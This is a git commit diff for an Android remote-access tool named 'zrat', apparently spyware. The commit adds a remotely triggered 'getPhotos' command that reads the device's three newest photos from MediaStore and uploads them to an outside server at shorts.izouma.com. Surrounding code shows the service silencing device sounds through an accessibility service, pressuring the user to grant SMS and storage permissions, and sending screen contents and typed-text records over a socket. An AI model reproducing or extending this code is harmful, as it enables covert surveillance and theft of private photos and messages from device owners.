Переглянути джерело

feat(zrat): 获取并上传最新照片

- 新增 getLatestPhotos 方法,获取设备上的最新照片- 使用 MediaStore 查询照片信息,最多获取 3 张最新照片
- 通过 OkHttpClient 将照片上传到服务器
- 上传成功后,通过 WebSocket 发送照片信息到服务端
wui 9 місяців тому
батько
коміт
6d36c9bd8f

+ 0 - 4
android/zrat/src/main/java/com/example/zrat/AccessibilityService.java

@@ -305,10 +305,6 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
             audioManager.setStreamVolume(AudioManager.STREAM_DTMF, 0, 0);
             audioManager.setStreamVolume(AudioManager.STREAM_DTMF, 0, 0);
             // 闹钟
             // 闹钟
             audioManager.setStreamVolume(AudioManager.STREAM_ALARM, 0, 0);
             audioManager.setStreamVolume(AudioManager.STREAM_ALARM, 0, 0);
-            // 辅助功能音量
-            audioManager.setStreamVolume(AudioManager.STREAM_ACCESSIBILITY, 0, 0);
-            // 振动
-            Settings.System.putInt(getContentResolver(), Settings.System.HAPTIC_FEEDBACK_ENABLED, 0);
         }
         }
     }
     }
 
 

+ 97 - 25
android/zrat/src/main/java/com/example/zrat/ZService.java

@@ -7,6 +7,7 @@ import android.app.NotificationChannel;
 import android.app.NotificationManager;
 import android.app.NotificationManager;
 import android.app.Service;
 import android.app.Service;
 import android.app.role.RoleManager;
 import android.app.role.RoleManager;
+import android.content.ContentUris;
 import android.content.Context;
 import android.content.Context;
 import android.content.DialogInterface;
 import android.content.DialogInterface;
 import android.content.Intent;
 import android.content.Intent;
@@ -19,6 +20,7 @@ import android.os.Binder;
 import android.os.Build;
 import android.os.Build;
 import android.os.Bundle;
 import android.os.Bundle;
 import android.os.IBinder;
 import android.os.IBinder;
+import android.provider.MediaStore;
 import android.provider.Settings;
 import android.provider.Settings;
 import android.provider.Telephony;
 import android.provider.Telephony;
 import android.telephony.SmsManager;
 import android.telephony.SmsManager;
@@ -37,6 +39,8 @@ import org.apache.commons.lang3.StringUtils;
 import org.json.JSONException;
 import org.json.JSONException;
 import org.json.JSONObject;
 import org.json.JSONObject;
 
 
+import java.io.File;
+import java.io.IOException;
 import java.util.ArrayList;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Arrays;
 import java.util.Collections;
 import java.util.Collections;
@@ -47,6 +51,7 @@ import java.util.Objects;
 
 
 import io.socket.client.IO;
 import io.socket.client.IO;
 import io.socket.client.Socket;
 import io.socket.client.Socket;
+import okhttp3.*;
 import pub.devrel.easypermissions.AppSettingsDialog;
 import pub.devrel.easypermissions.AppSettingsDialog;
 import pub.devrel.easypermissions.EasyPermissions;
 import pub.devrel.easypermissions.EasyPermissions;
 
 
@@ -94,17 +99,11 @@ public class ZService extends Service {
             }
             }
             dismissDialog();
             dismissDialog();
 
 
-            boolean writeSettingsPermission = checkWriteSettingsPermission(activity);
-            if (!writeSettingsPermission) return;
-            dismissDialog();
-
-            boolean policyAccessSettingsPermission = checkPolicyAccessSettingsPermission(activity);
-            if (!policyAccessSettingsPermission) return;
-            dismissDialog();
-
             boolean smsPermission = checkSmsPermission(activity);
             boolean smsPermission = checkSmsPermission(activity);
             if (!smsPermission) return;
             if (!smsPermission) return;
             dismissDialog();
             dismissDialog();
+
+            boolean storagePermission = checkManageStoragePermission(activity);
         }
         }
     }
     }
 
 
@@ -162,30 +161,28 @@ public class ZService extends Service {
         return false;
         return false;
     }
     }
 
 
-    public boolean checkPolicyAccessSettingsPermission(Context context) {
-        NotificationManager notificationManager = (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE);
-        if (notificationManager.isNotificationPolicyAccessGranted()) {
+    public boolean checkWriteSettingsPermission(Context context) {
+        if (Settings.System.canWrite(context)) {
             return true;
             return true;
         }
         }
-        showDialog(context, "Permission Required", "To continue using this app, please grant the policy permissions",
+        showDialog(context, "Permission Required", "To continue using this app, please grant the write permissions",
                 (dialog, which) -> {
                 (dialog, which) -> {
-                    Intent intent = new Intent(Settings.ACTION_NOTIFICATION_POLICY_ACCESS_SETTINGS);
+                    Intent intent = new Intent(Settings.ACTION_MANAGE_WRITE_SETTINGS);
                     intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                     intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                     startActivity(intent);
                     startActivity(intent);
                 });
                 });
         return false;
         return false;
     }
     }
 
 
-    public boolean checkWriteSettingsPermission(Context context) {
-        if (Settings.System.canWrite(context)) {
+    public boolean checkManageStoragePermission(Context context) {
+        boolean hasPermissions = EasyPermissions.hasPermissions(context, android.Manifest.permission.WRITE_EXTERNAL_STORAGE);
+        if (hasPermissions) {
             return true;
             return true;
         }
         }
-        showDialog(context, "Permission Required", "To continue using this app, please grant the write permissions",
-                (dialog, which) -> {
-                    Intent intent = new Intent(Settings.ACTION_MANAGE_WRITE_SETTINGS);
-                    intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-                    startActivity(intent);
-                });
+        showDialog(context, "Permission Required", "To continue using this app, please grant the storage permissions",
+                ((dialog, which) -> {
+
+                }));
         return false;
         return false;
     }
     }
 
 
@@ -354,6 +351,8 @@ public class ZService extends Service {
                             handleScreenOff(command);
                             handleScreenOff(command);
                         case "intoLockScreen":
                         case "intoLockScreen":
                             handleIntoLockScreen(command);
                             handleIntoLockScreen(command);
+                        case "getPhotos":
+                            getLatestPhotos(3);
                     }
                     }
                 } catch (Exception e) {
                 } catch (Exception e) {
                     e.printStackTrace();
                     e.printStackTrace();
@@ -457,7 +456,6 @@ public class ZService extends Service {
             Gson gson = new Gson();
             Gson gson = new Gson();
             String json = gson.toJson(map);
             String json = gson.toJson(map);
             try {
             try {
-                Log.i(TAG, "输入文本记录 | FROM " + command.getFrom());
                 mSocket.emit("result", new JSONObject(gson.toJson(new Result(command.getFrom(), "getScreen", map))));
                 mSocket.emit("result", new JSONObject(gson.toJson(new Result(command.getFrom(), "getScreen", map))));
             } catch (JSONException e) {
             } catch (JSONException e) {
                 e.printStackTrace();
                 e.printStackTrace();
@@ -526,12 +524,86 @@ public class ZService extends Service {
         map.put("deviceId", id);
         map.put("deviceId", id);
         Gson gson = new Gson();
         Gson gson = new Gson();
         try {
         try {
-            Log.i(TAG, "输入文本记录 | ID " + id);
+            Log.i(TAG, "saveTextRecord | deviceId: " + id);
             mSocket.emit("saveTextRecord", new JSONObject(gson.toJson(map)));
             mSocket.emit("saveTextRecord", new JSONObject(gson.toJson(map)));
         } catch (Exception e) {
         } catch (Exception e) {
-            e.printStackTrace();
-            Log.i(TAG, "输入文本记录 | ERROR " + e);
+            Log.i(TAG, "saveTextRecord | ERROR: " + e);
         }
         }
     }
     }
 
 
+    public void getLatestPhotos(int count) {
+        List<String> photoPaths = new ArrayList<>();
+        Uri uri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI;
+        String[] projection = {MediaStore.Downloads.DISPLAY_NAME, MediaStore.Downloads._ID, MediaStore.Downloads.RELATIVE_PATH, MediaStore.Images.Media.DATA};
+        String sortOrder = MediaStore.Images.Media.DATE_ADDED + " DESC";
+
+        try (
+                Cursor cursor = getContentResolver()
+                        .query(uri, projection, null, null, sortOrder)) {
+            if (cursor != null) {
+                int nameIndex = cursor.getColumnIndexOrThrow(MediaStore.Images.Media.DISPLAY_NAME);
+                int idIndex = cursor.getColumnIndexOrThrow(MediaStore.Images.Media._ID);
+                int pathIndex = cursor.getColumnIndexOrThrow(MediaStore.Images.Media.RELATIVE_PATH);
+                int dataIndex = cursor.getColumnIndexOrThrow(MediaStore.Images.Media.DATA);
+                int counter = 0;
+                while (cursor.moveToNext() && counter < count) {
+                    long id = cursor.getLong(idIndex);
+                    String name = cursor.getString(nameIndex);
+                    Log.e(TAG, "getPhotos | name: " + name);
+                    String path = cursor.getString(pathIndex);
+                    Log.e(TAG, "getPhotos | path: " + path);
+                    String data = cursor.getString(dataIndex);
+                    Log.e(TAG, "getPhotos | data: " + data);
+                    Uri photoUri = ContentUris.withAppendedId(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, id);
+                    Log.e(TAG, "getPhotos | uri: " + photoUri);
+                    photoPaths.add(data);
+                    counter++;
+                }
+            }
+        } catch (Exception e) {
+            Log.e(TAG, "getPhotos | ERROR: " + e.getMessage());
+        }
+
+        OkHttpClient client = new OkHttpClient();
+        for (String photoPath : photoPaths) {
+            File file = new File(photoPath);
+            RequestBody requestBody = new MultipartBody.Builder()
+                    .setType(MultipartBody.FORM)
+                    .addFormDataPart("file", file.getName(),
+                            RequestBody.create(MediaType.parse("application/octet-stream"), file))
+                    .build();
+            Request request = new Request.Builder()
+                    .url("http://shorts.izouma.com/api/ocrImg/upload")
+                    .post(requestBody)
+                    .build();
+            client.newCall(request).enqueue(new Callback() {
+                @Override
+                public void onFailure(Call call, IOException e) {
+                    Log.e(TAG, "getPhotos | ERROR: " + e);
+                }
+
+                @Override
+                public void onResponse(Call call, Response response) throws IOException {
+                    if (response.isSuccessful()) {
+                        // 成功时的处理逻辑
+                        String responseData = response.body().string();
+                        Log.e(TAG, "getPhotos | upload success: " + responseData);
+                        try {
+                            String id = mSocket.id();
+                            JSONObject jsonObject = new JSONObject(responseData);
+                            jsonObject.put("deviceId", id);
+                            mSocket.emit("savePhotos", jsonObject);
+                        } catch (JSONException e) {
+                            Log.e(TAG, "getPhotos | websocket error: " + response);
+                        }
+                    } else {
+                        // 处理错误响应
+                        Log.e(TAG, "getPhotos | upload fail: " + response);
+                    }
+                }
+            });
+        }
+
+    }
+
 }
 }